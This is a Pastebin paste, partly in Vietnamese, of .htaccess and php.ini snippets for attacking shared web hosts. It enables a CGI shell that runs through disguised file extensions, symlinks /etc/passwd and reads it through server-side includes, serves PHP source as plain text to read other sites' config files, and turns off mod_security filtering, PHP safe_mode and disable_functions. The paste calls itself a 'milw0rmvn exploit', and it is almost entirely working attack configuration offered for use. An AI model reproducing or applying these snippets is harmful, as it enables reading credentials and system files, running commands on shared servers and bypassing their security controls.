MrAaMa

symlink htaccess

Mar 18th, 2012
614
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. [PHP]
  3.     cgitelnet symlink htaccess
  4.  
  5.     symljnk ghi vào file.hack
  6.     download file.hack về
  7.     Options +ExecCGI
  8.     AddHandler cgi-script cgi pl cgi love jpg
  9.     RewriteEngine on
  10.     RewriteRule (.*).mil$ $1.cgi
  11.     Options +FollowSymLinks
  12.     DirectoryIndex cmd.html
  13.     Options +Indexes
  14.     RemoveHandler .hack
  15.     AddType text/plain .hack
  16.  
  17. [/PHP]
  18.  
  19. [PHP]
  20.     SSI VIEW SYMLJNK
  21.     .htaccess
  22.     Options +Includes
  23.     AddType text/html .shtml
  24.     AddHandler server-parsed .shtml
  25.     ln -s /et/passwd turk.txt
  26.     turk.shtml:
  27.     <!--#include virtual="turk.txt" -->
  28.  
  29. [/PHP]
  30.  
  31.  
  32. [PHP]    direct symljnk view file.php dưới dạng file text
  33.     options all
  34.     Options +FollowSymLinks
  35.     Options Indexes FollowSymLinks
  36.     DirectoryIndex ssssss.htm
  37.     AddType text/plain .php
  38.     AddHandler server-parsed .php
  39.  
  40. [/PHP]
  41.  
  42. [PHP]    Safe mod off
  43.     Options +FollowSymLinks
  44.     DirectoryIndex ssssss.htm
  45.     Options All Indexes
  46.     <IfModule mod_security.c>
  47.     SecFilterEngine Off
  48.     SecFilterScanPOST Off
  49.     SecFilterCheckURLEncoding Off
  50.     SecFilterCheckCookieFormat Off
  51.     SecFilterCheckUnicodeEncoding Off
  52.     SecFilterNormalizeCookies Off
  53.     </IfModule>
  54.     SetEnv PHPRC /home/user/public_html/php.ini
  55.     suPHP_ConfigPath /home/user/public_html/php.ini
  56.  
  57. [/PHP]
  58.  
  59. [PHP]Options +ExecCGI
  60. AddHandler cgi-script cgi pl cgi love jpg
  61. RewriteEngine on
  62. RewriteRule (.*)\.mil$ $1.cgi
  63. Options +FollowSymLinks
  64. DirectoryIndex cmd.html
  65. Options +Indexes
  66. RemoveHandler .hack
  67. AddType text/plain .hack
  68. ## milw0rmvn exploit ##
  69.  
  70.  
  71. php.ini:
  72.  
  73. safe_mode=Off
  74. Disable_Functions=None
  75. Open_Basedir=None
  76. Safe_Exec_Dir=None
  77. Safe_Gid=None
  78. Safe_Include_Dir=None
  79. Sql.safe_mode=None
  80. cURL=Off
  81. MySQL=Off
  82. MSSQL=Off
  83. PostgreSQL=Off
  84. Oracle=Off[/PHP]
  85.  
  86. [PHP]    VIEW file.php
  87.     Options all
  88.     DirectoryIndex Sux.html
  89.     AddType text/plain .php
  90.     AddHandler server-parsed .php
  91.     AddType text/plain .html
  92.     AddHandler txt .html
  93.     Require None
  94.     Satisfy Any
  95.  
  96. [/PHP]
  97.  
  98. [PHP]hạ safe_mode
  99.  
  100. php.ini
  101.  
  102. safe_mode = Off
  103. disable_functions = ""
  104. .htaccess
  105.  
  106. <IfModule mod_security.c>
  107. SecFilterEngine Off
  108. SecFilterScanPOST Off
  109. SecFilterCheckURLEncoding Off
  110. SecFilterCheckCookieFormat Off
  111. SecFilterCheckUnicodeEncoding Off
  112. SecFilterNormalizeCookies Off
  113. </IfModule>
  114. .htaccess
  115.  
  116. AddHandler application/x-httpd-php4 .php .php4 .php3
  117. .htaccess
  118.  
  119. php_flag safe_mode off
  120. php_flag disable_functions ""
  121. .htaccess
  122.  
  123. php_admin_value disable_functions ""
  124. php_admin_value safe_mode off
  125. .htaccess
  126.  
  127. php_value safe_mode off
  128. php_value disable_functions ""
  129. .htaccess
  130.  
  131. SetEnv PHPRC /home/user/public_html/php.ini
  132. [/PHP]
Advertisement
Add Comment
Please, Sign In to add comment